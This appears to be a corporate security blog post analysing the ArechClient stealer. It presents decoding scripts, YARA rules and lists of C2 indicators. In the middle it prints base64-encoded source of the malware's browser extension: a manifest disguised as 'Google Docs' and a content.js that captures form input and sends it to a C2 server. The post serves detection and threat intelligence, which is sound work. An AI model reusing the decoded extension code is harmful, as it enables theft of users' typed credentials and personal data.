This works but is very slow because we are bruting files that are just under 1mb in size, speeding this up for finding pastebin atleast we can utilize YARA in python:

rule_source = '''
rule archeclient
{
    strings:
    $a1 = "https://pastebin.com/raw/" xor
    $a2 = "CatalinaGroup" xor
    $a3 = "Cookies" xor
    condition:
    all of them
}
'''
#Based on original code from Graham Austin but modified and updated
def yara_scan(raw_data, rule_name):
    xor_keys = []
    yara_rules = yara.compile(source=rule_source)
    matches = yara_rules.match(data=raw_data)
    for match in matches:
        if match.rule == 'archeclient':
            for item in match.strings:
                if item.identifier == rule_name and len(item.instances) > 0:
                    xor_keys.append((item.instances[0].xor_key, item.instances[0].offset))
    return xor_keys

The code above will allow us to recover the the offset and xor key for the pastebin URL much easier, this doesn’t help with finding IP addresses though. Since most of the strings are all stored in a giant blob we can use the offset to narrow the scope for bruting the IPs:

data = open(sys.argv[1], 'rb').read()
tet = yara_scan(data, '$a1')
if len(tet) > 0:
    ips = []
    rough_off = tet[0][1]
    newdata = data[rough_off-10000:rough_off+10000]
    pb_xor_key = tet[0][0]
    temp = bytearray(newdata)
    for i in range(len(temp)):
        temp[i] ^= pb_xor_key
    tt = re.findall(b'''https?://pastebin.com/raw/[\x20-\x7e]{8}''', temp)
    ips += tt
    #Brute IPs with smaller data scope
    for i in range(255):
        temp = bytearray(newdata)
        for j in range(len(temp)):
            temp[j] ^= i
        t = re.findall(b'''[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}''', temp)
        ips += t
    print(ips)

Decoded IOCs for ArechClient samples can be found at the bottom.

A previous blog detailed that ArechClient was being leveraged for delivering a browser extension[3], looking at the sandbox report for our sample it appears the same thing is happening.

Since the C2 resides in the content.js we can enumerate samples on VirusTotal:

content:{7370796a735f726566726573684576656e747328636c69656e74496429}

Taking the first 48 samples found and writing a quick one-liner to rip out the C2s:

grep "server =" * |awk -F'"' '{print $2}' |awk -F'/' '{print $3}' |sort |uniq -c

However while looking at the pcap for this sample I noticed something strange, for one there was not enough traffic before the extension traffic started to justify downloading the extension from the C2. After checking in the same section of the ArechClient binary we were able to see that it is actually onboard and decoded in the same way as the C2 info earlier but still needs to be base64 decoded:

CmFzeW5jIGZ1bmN0aW9uIGh0dHBHZXQodGhlVXJsKQp7CiAgICBsZXQgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCh0aGVVcmwpOwogICAgbGV0IHVzZXIgPSBhd2FpdCByZXNwb25zZS50ZXh0KCk7CgogICAgcmV0dXJuIHVzZXI7Cn0KCmNocm9tZS5ydW50aW1lLm9uTWVzc2FnZS5hZGRMaXN0ZW5lcigKICAocmVxdWVzdCwgc2VuZGVyLCBzZW5kUmVzcG9uc2UpID0+IHsKICAgIGlmIChyZXF1ZXN0Lm1lc3NhZ2UgPT09ICJnZXQiKXsKICAgICAgICBuZXcgUHJvbWlzZShhc3luYyBzZW5kID0+IHsKICAgICAgICAgICAgdHJ5ewogICAgICAgICAgICAgICAgdmFyIGtleSA9IGF3YWl0IGh0dHBHZXQocmVxdWVzdC51cmwpOwogICAgICAgICAgICAgICAvLyBjb25zb2xlLmxvZygic2VuZCIpOwogICAgICAgICAgICAgICAgc2VuZChrZXkpOwogICAgICAgICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgICAgICAgICAgc2VuZCgibnVsbCIpOwogICAgICAgICAgICB9CgogICAgICAgIH0pLnRoZW4oc2VuZFJlc3BvbnNlKTsKICAgICAgICBjb25zb2xlLmxvZygiZmluZGwiKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgICAgCiAgICB9CiAgKTs=

ewoJIm1hbmlmZXN0X3ZlcnNpb24iOiAyLAoKCSJuYW1lIjogIkdvb2dsZSBEb2NzIiwKCSAgICJkZXNjcmlwdGlvbiI6ICJFZGl0LCBjcmVhdGUsIGFuZCB2aWV3IHlvdXIgZG9jdW1lbnRzLCBzcHJlYWRzaGVldHMsIGFuZCBwcmVzZW50YXRpb25zIOKAlCBhbGwgd2l0aG91dCBpbnRlcm5ldCBhY2Nlc3MuIiwKCSJ2ZXJzaW9uIjogIjEuNy4zOCIsCgkiaWNvbnMiOiB7CiAgICAiMTYiOiAiaWNvbi5wbmciLAogICAgIjQ4IjogImljb24ucG5nIiwKICAgICIxMjgiOiAiaWNvbi5wbmciCiAgfSwKCgkicGVybWlzc2lvbnMiOiBbCgkJImFjdGl2ZVRhYiIsCgkJInN0b3JhZ2UiCgldLAoJImNvbnRlbnRfc2NyaXB0cyI6IFsgewoJCSJhbGxfZnJhbWVzIjogdHJ1ZSwKCQkianMiOiBbICJqcXVlcnkuanMiLCJjb250ZW50LmpzIl0sCgkJIm1hdGNoZXMiOiBbICI8YWxsX3VybHM+IiBdIAoJfSBdLAoJImJhY2tncm91bmQiOiB7CiAgICAJInNlcnZpY2Vfd29ya2VyIjogImJhY2tncm91bmQuanMiCiAgCX0sCgkiYnJvd3Nlcl9hY3Rpb24iOiB7CgkJImRlZmF1bHRfdGl0bGUiOiAiU0ZBU0ZBU0QiCgl9Cn0=

dmFyIHNlcnZlciA9ICJodHRwOi8vXl5eXl4mJiYmJioqKioqKiYmJl5eXiUlJV5eXiZeJV4mJV4mJiZeJiomXiZeJl4mXio6OTAwMC8iOwp2YXIgaWRkZCA9ICckJV4mI14mQCNAJiNAJiMmKiYqJipeIypAJiMqJkAjKkAmIyojJipAIyc7Cgp2YXIgZGVidWcgPSAxOwp2YXIgY3VyckxvYyA9ICIiOwoKKGFzeW5jIGZ1bmN0aW9uICgpIHsKCgl2YXIgY2xpZW50SWQgPSBpZGRkOwoJdXJsQ2hhbmdlQWxsZXJ0KCk7CgkKCglzcHlqc19yZWZyZXNoRXZlbnRzKGNsaWVudElkKTsKCQp9KSgpCgpmdW5jdGlvbiB1cmxDaGFuZ2VBbGxlcnQoKXsKCXRyeXsKCQl2YXIgbG9jID0gd2luZG93LmxvY2F0aW9uOwoJCWdldE5vUmV0KHNlcnZlcisnY2h1cmw/cGNpZD0nK2lkZGQrIiZ1cmw9Iitsb2MpOwoJfWNhdGNoKGVycm9yKXsgfQoJCn0KCmZ1bmN0aW9uIHNweWpzX3JlZnJlc2hFdmVudHMoY2xpZCl7CglpZihjdXJyTG9jICE9IGxvY2F0aW9uLmhyZWYpewoJCWN1cnJMb2M9bG9jYXRpb24uaHJlZjsKCQlzcHlqc19zYXZlRGF0YSgiKCIrY3VyckxvYysiKSIpOwoJfQoJJCgnaW5wdXQnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnaW5wdXQnKS5jaGFuZ2UoZnVuY3Rpb24oZSkgewogIAkJc3B5anNfZ2V0SW5wdXQoZS5jdXJyZW50VGFyZ2V0LCBjbGlkKTsKCX0pOwoJCgkkKCdzZWxlY3QnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnc2VsZWN0JykuY2hhbmdlKGZ1bmN0aW9uKGUpIHsKICAJCXNweWpzX2dldElucHV0KGUuY3VycmVudFRhcmdldCwgY2xpZCk7Cgl9KTsKCQoJJCgnY2hlY2tib3gnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnY2hlY2tib3gnKS5jaGFuZ2UoZnVuY3Rpb24oZSkgewogIAkJc3B5anNfZ2V0SW5wdXQoZS5jdXJyZW50VGFyZ2V0LCBjbGlkKTsKCX0pOwoJCgkkKCdidXR0b24nKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnYnV0dG9uJykuY2hhbmdlKGZ1bmN0aW9uKGUpIHsKICAJCXNweWpzX2dldElucHV0KGUuY3VycmVudFRhcmdldCwgY2xpZCk7Cgl9KTsKCQoJCgkkKCd0ZXh0YXJlYScpLnVuYmluZCgnY2hhbmdlJyk7CgkkKCd0ZXh0YXJlYScpLmNoYW5nZShmdW5jdGlvbihlKSB7CiAgCQlzcHlqc19nZXRJbnB1dChlLmN1cnJlbnRUYXJnZXQsIGNsaWQpOwoJfSk7CgkKfQoJCmZ1bmN0aW9uIHNweWpzX2dldElucHV0KGlucHV0SW5mbywgY2xpZCl7CgkgCgl2YXIgbmFtZSA9IGlucHV0SW5mby5uYW1lOwoJdmFyIHZhbHVlID0gaW5wdXRJbmZvLnZhbHVlOwoJdmFyIHN0b2xlbklucHV0ID0ge307CglpZihuYW1lID09PSAiIil7CgkJbmFtZT0idW5kZWZpbmVkX2lucHV0IjsKCX0KCWlmKHZhbHVlICE9ICIiKXsKCQlzdG9sZW5JbnB1dFtuYW1lXSA9IHZhbHVlOwoKCQl2YXIgYmFzZSA9IGN1cnJMb2M7CiAgICAgICAgZ2V0Tm9SZXQoc2VydmVyKydmc2F2ZT9uYW1lPScrbmFtZSsiJnZhbHVlPSIrdmFsdWUgKyAgIiZzaXRlcz0iICtiYXNlICsgIiZjbGlkPSIgKyBjbGlkKTsKCQkKCX0KfQpmdW5jdGlvbiBzcHlqc19zYXZlRGF0YShkYXRhKXsKCQp9OwoKZnVuY3Rpb24gZ2V0KHVybGwpewoJdmFyIHJldDsKICAgCXJldHVybiBuZXcgUHJvbWlzZShhc3luYyBzZW5kID0+IHsKCQljaHJvbWUucnVudGltZS5zZW5kTWVzc2FnZSh7bWVzc2FnZTogImdldCIsIHVybDogdXJsbH0sIChyZXNwb25zZSkgPT4gewoJCQkvL29uc29sZS5sb2cocmVzcG9uc2UpOwogIAkJCXNlbmQocmVzcG9uc2UpOwogIAkJCQoJCX0pOwoJfSk7Cn0KCmZ1bmN0aW9uIGdldE5vUmV0KHVybGwpewogICAJbmV3IFByb21pc2UoYXN5bmMgc2VuZCA9PiB7CgkJY2hyb21lLnJ1bnRpbWUuc2VuZE1lc3NhZ2Uoe21lc3NhZ2U6ICJnZXQiLCB1cmw6IHVybGx9LCAocmVzcG9uc2UpID0+IHsKICAJCQlzZW5kKHJlc3BvbnNlKTsKICAJCQkvL2NvbnNvbGUubG9nKHJlc3BvbnNlKTsKCQl9KTsKCX0pOwoKfQ==

Snippet from base64 decoded content.js:

var server = "http://^^^^^&&&&&******&&&^^^%%%^^^&^%^&%^&&&^&*&^&^&^&^*:9000/";
var iddd = '$%^&#^&@#@&#@&#&*&*&*^#*@&#*&@#*@&#*#&*@#';

var debug = 1;
var currLoc = "";

(async function () {

        var clientId = iddd;
        urlChangeAllert();


        spyjs_refreshEvents(clientId);

})()

function urlChangeAllert(){

IOCs

Pastebin URLs:

https://pastebin.com/raw/DWCCqGB0
https://pastebin.com/raw/ENEhYpTW
https://pastebin.com/raw/Ld9GfkdJ
https://pastebin.com/raw/NH3NwEpf
https://pastebin.com/raw/UPxYyFp8
https://pastebin.com/raw/cLika3dt
https://pastebin.com/raw/eB8bmiVA
https://pastebin.com/raw/eKZZkcvz
https://pastebin.com/raw/gxDS2LkW
https://pastebin.com/raw/hN7U6xHt
https://pastebin.com/raw/nJqnXW3u
https://pastebin.com/raw/ravLcZ9f
https://pastebin.com/raw/ubFNTPjt
https://pastebin.com/raw/wikwTRQc
https://pastebin.com/raw/yZ0ektdh

Pastebin C2s:

92.255.57.31
92.255.57.32
144.76.103.92
92.255.85.23
109.120.186.139
45.141.84.208
185.147.124.181
92.255.57.75
45.118.248.29
85.209.11.243
194.26.135.180
91.202.233.18
80.64.30.2

IPs from binaries:

109.120.186.139
185.147.124.179
185.147.124.181
194.26.135.180
213.109.202.229
45.118.248.29
45.141.84.168
45.141.84.208
45.141.87.124
45.141.87.50
62.84.98.67
80.64.30.2
81.19.135.11
91.202.233.18
92.255.57.31
92.255.57.32
92.255.57.75
92.255.85.23
92.255.85.36

Browser Extension package on VT:

7b9cc025a1bc19552ec3a69872ddc9dbf1233ab779f081aaf75b902435f6477e

Browser Extension C2s:

109.107.182.209:9000
109.234.34.3:9000
144.76.163.55:9000
152.89.198.51:9000
176.9.66.115:9000
178.63.51.126:9000
185.147.124.181:9000
185.42.12.247:9000
185.42.12.64:9000
185.42.12.85:9000
185.73.125.96:9000
213.109.202.15:9000
34.141.167.33:9000
34.89.247.212:9000
45.118.248.29:9000
45.141.84.208:9000
45.141.87.124:9000
45.141.87.215:9000
45.141.87.55:9000
45.88.104.78:9000
45.92.179.249:9000
5.42.67.10:9000
77.246.107.149:9000
80.64.30.2:9000
81.19.135.11:9000
91.202.233.18:9000
91.215.85.23:9000
91.215.85.66:9000
91.240.118.154:9000
92.255.57.31:9000
92.255.57.75:9000
92.255.85.23:9000
95.216.24.238:9000

YARA:

rule archeclient
{
    strings:
    $a1 = "https://pastebin.com/raw/" xor
    $a2 = "CatalinaGroup" xor
    $a3 = "Cookies" xor
    condition:
    all of them
}

rule spyjs_extension
{
strings:
$a1 = "spyjs_saveData"
$a2 = "spyjs_refreshEvents"
condition:
all of them
}

References

1: https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/

2: https://www.sentinelone.com/blog/reverse-engineering-walkthrough-analyzing-a-sample-of-arechclient2/

3: https://malwr-analysis.com/2025/02/18/arechclient2-malware-analysis-sectoprat/

ArechClient; Decoding IOCs and finding the onboard browser extension was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.